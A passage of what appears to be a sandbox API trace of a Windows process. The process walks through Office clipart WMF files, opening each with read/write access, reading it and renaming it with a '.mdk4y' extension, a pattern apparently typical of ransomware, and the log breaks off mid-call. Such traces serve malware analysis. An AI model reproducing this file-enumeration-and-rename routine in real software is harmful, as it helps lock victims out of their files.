AreFileApisANSI () returned 1 [0174.171] GetACP () returned 0x4e4 [0174.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02228_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02228_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.171] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.172] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x334, lpOverlapped=0x0) returned 1 [0174.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.mdk4y")) returned 1 [0174.175] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.175] AreFileApisANSI () returned 1 [0174.175] GetACP () returned 0x4e4 [0174.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02233_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02233_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x900, lpOverlapped=0x0) returned 1 [0174.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.mdk4y")) returned 1 [0174.180] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.180] AreFileApisANSI () returned 1 [0174.180] GetACP () returned 0x4e4 [0174.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02252_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02252_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.180] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.181] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe88, lpOverlapped=0x0) returned 1 [0174.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.mdk4y")) returned 1 [0174.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.184] AreFileApisANSI () returned 1 [0174.184] GetACP () returned 0x4e4 [0174.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02253_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02253_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.184] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.184] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e0, lpOverlapped=0x0) returned 1 [0174.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.mdk4y")) returned 1 [0174.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.222] AreFileApisANSI () returned 1 [0174.222] GetACP () returned 0x4e4 [0174.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02261_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02261_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.222] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.223] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x818, lpOverlapped=0x0) returned 1 [0174.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.mdk4y")) returned 1 [0174.232] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.233] AreFileApisANSI () returned 1 [0174.233] GetACP () returned 0x4e4 [0174.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02263_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02263_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.234] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa94, lpOverlapped=0x0) returned 1 [0174.235] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.mdk4y")) returned 1 [0174.236] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.236] AreFileApisANSI () returned 1 [0174.236] GetACP () returned 0x4e4 [0174.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02265_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02265_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.236] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.237] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x38c, lpOverlapped=0x0) returned 1 [0174.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.mdk4y")) returned 1 [0174.239] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.239] AreFileApisANSI () returned 1 [0174.239] GetACP () returned 0x4e4 [0174.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02268_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02268_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.239] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.240] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x61c, lpOverlapped=0x0) returned 1 [0174.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.mdk4y")) returned 1 [0174.285] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.285] AreFileApisANSI () returned 1 [0174.285] GetACP () returned 0x4e4 [0174.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02269_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02269_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.286] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.286] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf0, lpOverlapped=0x0) returned 1 [0174.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.mdk4y")) returned 1 [0174.292] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.293] AreFileApisANSI () returned 1 [0174.293] GetACP () returned 0x4e4 [0174.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02270_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02270_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.293] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.294] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa68, lpOverlapped=0x0) returned 1 [0174.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.mdk4y")) returned 1 [0174.300] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.300] AreFileApisANSI () returned 1 [0174.300] GetACP () returned 0x4e4 [0174.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02276_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02276_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.300] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30e4, lpOverlapped=0x0) returned 1 [0174.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.mdk4y")) returned 1 [0174.302] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.302] AreFileApisANSI () returned 1 [0174.302] GetACP () returned 0x4e4 [0174.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02413_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02413_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.304] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17a1c, lpOverlapped=0x0) returned 1 [0174.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.mdk4y")) returned 1 [0174.308] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.308] AreFileApisANSI () returned 1 [0174.308] GetACP () returned 0x4e4 [0174.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02431_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02431_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.308] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.309] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x670, lpOverlapped=0x0) returned 1 [0174.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.mdk4y")) returned 1 [0174.311] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.311] AreFileApisANSI () returned 1 [0174.311] GetACP () returned 0x4e4 [0174.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02437_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02437_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.311] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.312] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b4, lpOverlapped=0x0) returned 1 [0174.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.mdk4y")) returned 1 [0174.314] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.314] AreFileApisANSI () returned 1 [0174.314] GetACP () returned 0x4e4 [0174.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02439_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02439_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.314] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x504, lpOverlapped=0x0) returned 1 [0174.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.mdk4y")) returned 1 [0174.322] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.322] AreFileApisANSI () returned 1 [0174.322] GetACP () returned 0x4e4 [0174.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02464_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02464_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.322] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a54, lpOverlapped=0x0) returned 1 [0174.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.mdk4y")) returned 1 [0174.327] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.327] AreFileApisANSI () returned 1 [0174.327] GetACP () returned 0x4e4 [0174.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02465_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02465_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.327] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.328] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x574, lpOverlapped=0x0) returned 1 [0174.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.mdk4y")) returned 1 [0174.337] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.337] AreFileApisANSI () returned 1 [0174.337] GetACP () returned 0x4e4 [0174.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02578_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02578_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.338] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19ca, lpOverlapped=0x0) returned 1 [0174.339] MoveFileA 